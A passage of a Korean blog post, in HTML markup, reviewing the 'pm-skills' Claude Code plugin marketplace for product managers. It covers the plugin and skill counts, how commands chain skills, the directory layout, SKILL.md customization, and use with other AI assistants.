&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/market-product&lt;/b&gt; 체인: &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;marketing-ideas&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;positioning-ideas&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;value-prop-statements&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;product-name&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 6px 0 0; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;마케팅 아이디어부터 제품 이름까지 4단계를 체이닝하는 마케팅 툴킷 워크플로우다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- /north-star 체이닝 --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/north-star&lt;/b&gt; 체인: NSM 정의 &amp;rarr; 입력 지표 식별 &amp;rarr; 카운터 지표 설정&lt;/p&gt;
&lt;p style=&quot;margin: 6px 0 0; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;6단계 프레임워크로 North Star Metric을 수립한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 3.8 pm-toolkit ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.8 pm-toolkit (4개 스킬, 5개 명령어)&lt;/h3&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0 16px 0; align-items: center;&quot;&gt;&lt;span style=&quot;font-size: 12px; color: #888; margin-right: 4px;&quot;&gt;명령어&lt;/span&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/review-resume&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/proofread&lt;/code&gt; &lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;외 3개&lt;/span&gt;&lt;/div&gt;
&lt;!-- 그룹: 문서·법률 도구 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;문서&amp;middot;법률 도구&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;review-resume&lt;/code&gt; &amp;mdash; 이력서 리뷰 및 개선 제안&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;draft-nda&lt;/code&gt; &amp;mdash; NDA(비밀유지계약) 초안 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;privacy-policy&lt;/code&gt; &amp;mdash; 프라이버시 정책 문서 생성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;grammar-check&lt;/code&gt; &amp;mdash; 문법 검사 및 교정&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- ===== 플러그인 요약 테이블 (유지) ===== --&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;플러그인&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;스킬 수&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;명령어 수&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;주요 용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;pm-product-discovery&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;13&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;아이디어 발견&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;pm-product-strategy&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;12&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전략 수립&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;pm-execution&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;15&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;10&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;pm-market-research&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;7&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;시장 조사&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;pm-data-analytics&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;데이터 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;pm-go-to-market&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;6&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;GTM 전략&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;pm-marketing-growth&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;마케팅/성장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;pm-toolkit&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실무 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pm-execution이 15스킬/10커맨드로 가장 크고, pm-data-analytics가 3스킬/3커맨드로 가장 작다. 리소스가 실행 단계에 집중된 구조다. 라이프사이클 전체를 커버하되 각 단계의 깊이가 다르다는 점을 인지하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 기술 아키텍처 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 Skills, Commands, Plugins의 관계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트의 세 가지 핵심 개념이 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1838&quot; data-origin-height=&quot;1002&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUqkvJ/dJMcagZpsxd/mzrFByBsMaW9V9U0mBAAp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUqkvJ/dJMcagZpsxd/mzrFByBsMaW9V9U0mBAAp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUqkvJ/dJMcagZpsxd/mzrFByBsMaW9V9U0mBAAp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUqkvJ%2FdJMcagZpsxd%2FmzrFByBsMaW9V9U0mBAAp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1838&quot; height=&quot;1002&quot; data-origin-width=&quot;1838&quot; data-origin-height=&quot;1002&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Skills(지식)&lt;/b&gt;은 도메인 지식, 분석 프레임워크, 가이드 워크플로우를 담은 빌딩 블록이다. 관련 컨텍스트가 감지되면 자동으로 로드된다. SKILL.md 파일 하나가 하나의 스킬을 정의하며, YAML frontmatter에 name과 description이 필수다. 본문에서는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;$ARGUMENTS&lt;/code&gt; 플레이스홀더를 통해 사용자 입력을 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Commands(동사)&lt;/b&gt;은 사용자가 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/command-name&lt;/code&gt; 형태로 호출하는 워크플로우다. 하나 이상의 스킬을 체인으로 연결하여 종단간 프로세스를 실행한다. 예를 들어 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/discover&lt;/code&gt;는 4개 스킬을 연결한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Plugins&lt;/b&gt;은 관련 스킬과 명령어를 하나의 패키지로 묶은 단위다. 8개 플러그인이 각각 PM 라이프사이클의 특정 단계를 담당한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.2 명령어 체이닝 메커니즘&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;체이닝의 핵심은 여러 스킬을 순차적으로 연결하는 것이다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/discover&lt;/code&gt;를 예로 들면 다음과 같이 동작한다.&lt;/p&gt;
&lt;ol style=&quot;padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;brainstorm-ideas&lt;/b&gt;: 아이디어 발상&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;identify-assumptions&lt;/b&gt;: 가정 식별&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;prioritize-assumptions&lt;/b&gt;: 가정 우선순위 결정&lt;/li&gt;
&lt;li&gt;&lt;b&gt;brainstorm-experiments&lt;/b&gt;: 실험 설계&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실전 인사이트&lt;/b&gt; &amp;mdash; 이 체이닝이 의미하는 바는 &quot;PM이 수동으로 해야 할 4단계를 한 명령어로 압축한다&quot;는 것이다. 각 단계의 산출물이 다음 단계의 입력으로 자동 전달되므로, 컨텍스트 손실 없이 워크플로우가 진행된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.3 플러그인 디렉토리 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 플러그인은 동일한 디렉토리 구조를 따른다.&lt;/p&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;.claude-plugin/
  marketplace.json  # 마켓플레이스 매니페스트 (루트 수준)
skills/
  skill-name/
    SKILL.md       # 스킬 정의
commands/
  command-name.md   # 명령어 정의
README.md            # 플러그인 설명&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 15px; margin: 10px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의&lt;/b&gt; &amp;mdash; 루트 수준의 메타 파일은 &lt;code style=&quot;background: rgba(0,0,0,0.07); padding: 1px 5px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;plugin.json&lt;/code&gt;이 아닌 &lt;code style=&quot;background: rgba(0,0,0,0.07); padding: 1px 5px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;marketplace.json&lt;/code&gt;이다. pm-skills는 단일 플러그인이 아닌 마켓플레이스 구조로 설계되어 있어, 마켓플레이스 전체를 등록한 뒤 개별 플러그인을 설치하는 2단계 방식을 사용한다. (출처: &lt;a style=&quot;color: #856404;&quot; href=&quot;https://github.com/phuryn/pm-skills/blob/main/.claude-plugin/marketplace.json&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub 저장소 .claude-plugin/ 디렉토리&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;marketplace.json&lt;/code&gt;은 마켓플레이스 전체의 메타데이터(버전, 포함된 플러그인 목록 등)를 담고 있으며, skills 디렉토리에 각 스킬이, commands 디렉토리에 각 명령어가 위치한다. 이 구조 덕분에 새로운 스킬이나 명령어를 추가하기 쉽다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. SKILL.md 커스터마이징 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PM Skills의 가장 실용적인 장점 중 하나는 스킬을 직접 수정할 수 있다는 것이다. 기본 제공 스킬이 자사 상황에 맞지 않으면 SKILL.md 파일을 편집하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.1 SKILL.md 기본 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;opportunity-solution-tree 스킬을 예시로 살펴보자.&lt;/p&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;---
name: opportunity-solution-tree
description: &quot;Build an Opportunity Solution Tree (OST)...&quot;
---

...You are helping a product team build an Opportunity Solution Tree for **$ARGUMENTS**.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구조는 간단하다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;YAML frontmatter&lt;/b&gt;: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;name&lt;/code&gt;과 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;description&lt;/code&gt;이 필수다. name은 디렉토리 이름과 일치해야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;$ARGUMENTS&lt;/b&gt;: 사용자가 입력한 텍스트가 이 위치에 대입된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;본문&lt;/b&gt;: AI 어시스턴트에게 주어지는 프롬프트. 도메인 지식, 분석 절차, 출력 형식 등을 정의한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.2 커스터마이징 예시&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 create-prd 스킬의 산출물에 자사 PRD 템플릿의 필수 항목을 추가하고 싶다면, 해당 SKILL.md 본문에 지시를 추가하면 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t2bnn/dJMcadVTu35/dq15zkdrLuQZOVuxKdDFs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t2bnn/dJMcadVTu35/dq15zkdrLuQZOVuxKdDFs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t2bnn/dJMcadVTu35/dq15zkdrLuQZOVuxKdDFs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft2bnn%2FdJMcadVTu35%2Fdq15zkdrLuQZOVuxKdDFs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1948&quot; height=&quot;1036&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# 본문 끝에 추가하는 예시
## 자사 필수 항목 (커스터마이징)
- 반드시 &quot;보안 요구사항&quot; 섹션을 포함할 것
- &quot;성공 지표&quot;에 OKR 형식(Objective + 3개 Key Results)을 사용할 것
- 한국어로 작성할 것&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt; &amp;mdash; 수정한 스킬을 팀 저장소에 커밋해두면 팀 전체가 동일한 PM 프로세스를 사용할 수 있다. 품질 검증이 필요하면 프로젝트에 포함된 &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;validate_plugins.py&lt;/code&gt;를 실행하면 된다. 이 스크립트는 YAML frontmatter 형식, 스킬-명령어 간 참조 무결성, README 존재 여부 등을 자동 검증한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 활용법 및 통합 방법&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.1 주요 명령어 사용 시나리오&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;README에 제시된 대표적인 워크플로우 진입점은 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;명령어&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;새로운 아이디어가 있다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/discover&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;발견 워크플로우 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전략적 명확성이 필요하다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/strategy&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전략 수립 워크플로우 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PRD를 작성 중이다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/write-prd&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PRD 작성 워크플로우 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;런칭을 계획 중이다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/plan-launch&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;런칭 계획 워크플로우 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.2 기타 AI 어시스턴트와의 통합&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code 외에도 SKILL.md 파일 형식이 범용적이므로 다양한 AI 어시스턴트에서 사용할 수 있다. 단, &lt;b&gt;명령어(Commands, 슬래시 커맨드)는 Claude 전용 기능&lt;/b&gt;이므로 다른 AI에서는 스킬만 사용 가능하다.&lt;/p&gt;
&lt;div style=&quot;background: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의&lt;/b&gt; &amp;mdash; 다른 AI 어시스턴트에서는 체이닝 워크플로우가 자동으로 실행되지 않는다. 개별 스킬을 수동으로 호출해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 사용 예시: PM 워크플로우&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.1 Before/After: 일반 AI 프롬프트 vs PM Skills&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 요청을 PM Skills 없이 했을 때와 있을 때의 차이를 비교하면 핵심 가치가 명확해진다.&lt;/p&gt;
